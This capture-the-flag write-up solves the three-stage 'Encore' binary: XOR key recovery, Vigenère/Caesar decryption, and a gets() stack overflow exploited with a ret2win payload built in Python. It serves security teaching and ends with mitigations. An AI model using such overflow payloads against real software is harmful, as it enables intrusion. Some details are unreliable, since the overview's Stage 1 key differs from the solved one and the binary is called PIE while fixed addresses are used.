Overview
Encore is a local ELF binary combining reverse engineering, cryptographic analysis, and stack-based exploitation. Each stage must be solved sequentially, feeding its answer into the next.
Stage 1: R3v3rs3_M4stgr -> stage1_reverse_engineering()
Stage 2: Overflow_1s_P0w3rful -> stage2_cryptography()
Stage 3: ret2win to print_token() -> STAGE3_TOKEN
The final primitive is a classic ret2win: overwrite the saved return address with the address of print_token, which prints the Stage 3 token and exits.
Prerequisites / Setup
- The
encoreELF binary (local, PIE, x86-64) gdb(with disassembly /x/memory inspection)- Python 3 (
struct) for payload construction
No remote target, no libc leak, and no shellcode are needed.
Recon
Step 1 — Enumerate the binary
Goal: Confirm the file type and list the functions to understand the stage structure.
file encore
encore: ELF 64-bit LSB pie executable, x86-64, ...
gdb -q ./encore
info functions
Important functions:
stage1_reverse_engineering
vigenere_decrypt
caesar13_decrypt
stage2_cryptography
print_token
stage3_exploitation
main
Interpretation: The presence of stage1_reverse_engineering, stage2_cryptography, stage3_exploitation, and print_token makes the intended structure clear.
Recon — Stage 1
Step 2 — Locate and disassemble stage1_reverse_engineering
Goal: Find the encoded key material inside the stage 1 function.
disassemble stage1_reverse_engineering
The function constructs a byte string on the stack from immediate integer values:
401265: movabs rax,0x1d71313071347110
40126f: mov QWORD PTR [rbp-0x12],rax
401273: mov DWORD PTR [rbp-0xa],0x3631760f
40127a: mov WORD PTR [rbp-0x6],0x3071
Interpretation: x86-64 is little-endian, so each immediate must be read as little-endian bytes.
Exploitation — Stage 1
Step 3 — Recover the XOR-encoded key
Goal: Decode the immediates and XOR with 0x42 to recover the key.
First value 0x1d71313071347110 as little-endian bytes:
10 71 34 71 30 31 71 1d
Second value 0x3631760f:
0f 76 31 36
Third value 0x3071:
71 30
Combined:
10 71 34 71 30 31 71 1d 0f 76 31 36 71 30
Each byte is XORed with 0x42:
401405: movzx eax,BYTE PTR [...]
40140f: xor eax,0x42
10 ^ 42 = 52 (R)
71 ^ 42 = 33 (3)
34 ^ 42 = 76 (v)
71 ^ 42 = 33 (3)
30 ^ 42 = 72 (r)
31 ^ 42 = 73 (s)
71 ^ 42 = 33 (3)
1d ^ 42 = 5f (_)
0f ^ 42 = 4d (M)
76 ^ 42 = 34 (4)
31 ^ 42 = 73 (s)
36 ^ 42 = 74 (t)
71 ^ 42 = 33 (3)
30 ^ 42 = 72 (r)
Key: R3v3rs3_M4st3r
Step 4 — Verify Stage 1
Goal: Confirm the recovered key is accepted.
printf 'R3v3rs3_M4st3r\n' | ./encore
=== STAGE 1: REVERSE ENGINEERING ===
Analyze the binary to find the hidden key.
Enter the key: ✓ Stage 1 Complete!
Exploitation — Stage 2
Step 5 — Recover the encrypted message
Goal: Extract the ciphertext constructed from immediates in stage2_cryptography.
disassemble stage2_cryptography
401777: movabs rax,0x7766636a73747646
401781: movabs rdx,0x336130515f68315f
401793: mov DWORD PTR [rbp-0x10],0x61757769
Reading each immediate as little-endian bytes:
0x7766636a73747646 -> 46 76 74 73 6a 63 66 77 -> Fvtsjcfw
0x336130515f68315f -> 5f 31 68 5f 51 30 61 33 -> _1h_Q0a3
0x61757769 -> 69 77 75 61 -> iwua
Encrypted message: Fvtsjcfw_1h_Q0a3iwua
Step 6 — Find the Vigenère key
Goal: Locate the key passed to vigenere_decrypt.
40190a: lea rcx,[rip+0x86c] # 0x40217d
401911: mov rsi,rcx
Inspecting .rodata at 0x40217d:
ENCORE
Vigenère key: ENCORE
Step 7 — Understand the Vigenère implementation
Goal: Confirm the exact decryption semantics before reproducing by hand.
The implementation performs a standard Vigenère-style subtraction:
- Uppercase:
output = ((c - 'A') - (key - 'A') + 26) % 26 + 'A' - Lowercase:
output = ((c - 'a') - (key - 'A') + 26) % 26 + 'a' - Non-alphabetic characters are copied unchanged and do not advance the key.
This matters because the ciphertext contains _, 1, 0, 3 — these are copied directly and consume no key positions.
Step 8 — Recover the intermediate text
Goal: Decrypt with Vigenère (ENCORE), then confirm via GDB.
Decrypting Fvtsjcfw_1h_Q0a3iwua with key ENCORE:
Fvtsjcfw_1h_Q0a3iwua
| Vigenere decrypt, key = ENCORE
v
Biresybj_1f_C0j3eshy
Verified in GDB by breaking after the vigenere_decrypt call and inspecting $rbp-0xa0:
break *0x40191c
run
x/s $rbp-0xa0
Biresybj_1f_C0j3eshy
Step 9 — Recover the final plaintext
Goal: Apply the second (Caesar-style) transform.
break *0x401935
continue
x/s $rbp-0xe0
Overflow_1s_P0w3rful
Complete Stage 2 transformation:
Fvtsjcfw_1h_Q0a3iwua
| Vigenere decrypt (ENCORE)
v
Biresybj_1f_C0j3eshy
| Caesar decrypt
v
Overflow_1s_P0w3rful
Step 10 — Verify Stage 2
Goal: Confirm both stage answers are accepted together.
printf 'R3v3rs3_M4st3r\nOverflow_1s_P0w3rful\n' | ./encore
=== STAGE 1: REVERSE ENGINEERING ===
Enter the key: ✓ Stage 1 Complete!
=== STAGE 2: CRYPTOGRAPHY ===
Encrypted message: Fvtsjcfw_1h_Q0a3iwua
Enter the decrypted message: ✓ Stage 2 Complete!
Exploitation — Stage 3
Step 11 — Identify the vulnerability
Goal: Confirm stage3_exploitation reads input unsafely.
disassemble stage3_exploitation
401a18: push %rbp
401a19: mov %rsp,%rbp
401a1c: sub $0x40,%rsp
This allocates 0x40 = 64 bytes of stack space, then passes the buffer directly to gets():
401a52: lea -0x40(%rbp),%rax
401a56: mov %rax,%rdi
401a59: mov $0x0,%eax
401a5e: call 0x401140 <gets@plt>
Conceptually:
char buffer[64];
gets(buffer);
gets() performs no bounds checking, so input longer than 64 bytes overwrites the saved RBP and saved RIP — a classic stack buffer overflow.
Vulnerability Analysis
The flaw class is Buffer Overflow (CWE-121) via the inherently unsafe gets() function. The binary is PIE but no address leak is needed because the ret2win target is at a fixed offset within the binary.
Step 12 — Find the ret2win target
Goal: Identify the function to redirect execution to.
print_token is at 0x40197b. It prints STAGE3_TOKEN (at 0x402010) via printf, then calls exit(). This is the intended ret2win target — no shellcode, NX bypass, ROP, or libc leak needed.
disassemble print_token
Step 13 — Calculate the RIP offset
Goal: Determine how many bytes of padding precede the saved return address.
Stack layout:
rbp-0x40 -> 64-byte buffer
saved RBP (8 bytes)
saved RIP (8 bytes)
64 (buffer) + 8 (saved RBP) = 72
RIP offset: 72 bytes.
Exploit structure:
"A" * 72 + p64(0x40197b)
Step 14 — Confirm the offset with a cyclic pattern
Goal: Verify the offset empirically rather than relying only on stack arithmetic.
python3 - <<'PY'
from string import ascii_uppercase, ascii_lowercase, digits
pattern = ''.join(
a + b + c
for a in ascii_uppercase
for b in ascii_lowercase
for c in digits
)
print(pattern[:100])
PY
Pattern begins: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2...
Run under GDB, break at the ret (0x401a8f), supply the pattern as the Stage 3 payload, then:
break *0x401a8f
run
x/12gx $rsp
The stack showed:
0x7fffffffd6d8: 0x6341356341346341
0x7fffffffd6e8: 0x3164413064413963
The overwritten saved RIP corresponded to the cyclic pattern at the 72-byte position, confirming RIP offset = 72.
Step 15 — Construct the payload
Goal: Build 72 bytes of padding + 8-byte little-endian address of print_token.
Address 0x40197b as little-endian bytes:
7b 19 40 00 00 00 00 00
import struct
payload = b"A" * 72
payload += struct.pack("<Q", 0x40197b)
with open("payload", "wb") as f:
f.write(payload)
Payload length: 80 bytes
xxd payload
The end of the file:
00000040: 4141 4141 4141 4141 7b19 4000 0000 0000
Step 16 — Exploit and retrieve the Stage 3 token
Goal: Chain all three stage answers and the payload into the binary.
(
printf 'R3v3rs3_M4st3r\n'
printf 'Overflow_1s_P0w3rful\n'
cat payload
) | ./encore
Control flow:
main()
-> stage1_reverse_engineering() (key: R3v3rs3_M4st3r)
-> stage2_cryptography() (plaintext: Overflow_1s_P0w3rful)
-> stage3_exploitation()
gets(buffer)
72-byte padding + 0x40197b
saved RIP = print_token
-> print_token() prints STAGE3_TOKEN
-> exit()
The exploit does not inject shellcode — it redirects execution to an existing function (ret2win).
Flag / Stage Answers
There is no single platform flag string in this challenge; the staged answers are:
| Stage | Answer |
|---|---|
| Stage 1 | R3v3rs3_M4st3r |
| Stage 2 | Overflow_1s_P0w3rful |
| Stage 3 | ret2win offset 72 → print_token() at 0x40197b → prints STAGE3_TOKEN |
The Stage 3 token is stored at 0x402010 and printed by print_token().
Lessons / Takeaways
- x86-64 immediates are little-endian — decode stack-constructed byte strings as little-endian bytes, not as the raw hex constant.
- Function names and hints guide you, but the assembly is authoritative (e.g.
caesar13_decryptmust be analyzed directly). - GDB buffer inspection (
x/s $rbp-0xa0, etc.) confirms intermediate plaintext without guessing. gets()has no length parameter; any stack buffer passed to it is overflowable.- Ret2win is simpler than code injection when the binary already contains a function that prints the secret.
Mitigations
- Never use
gets(); usefgets()with a bounded size. - Compile with stack canaries (
-fstack-protector-strong) so overwriting the saved return address is detected beforeret. - Enable PIE/ASLR and mark the stack non-executable; while ret2win still works against a known in-binary address, these raise the bar for shellcode/ROP.
- Avoid functions that print secrets directly; return them through a controlled channel instead.
Techniques
References
- GDB documentation: https://sourceware.org/gdb/
- CWE-121: Stack-based Buffer Overflow: https://cwe.mitre.org/data/definitions/121.html

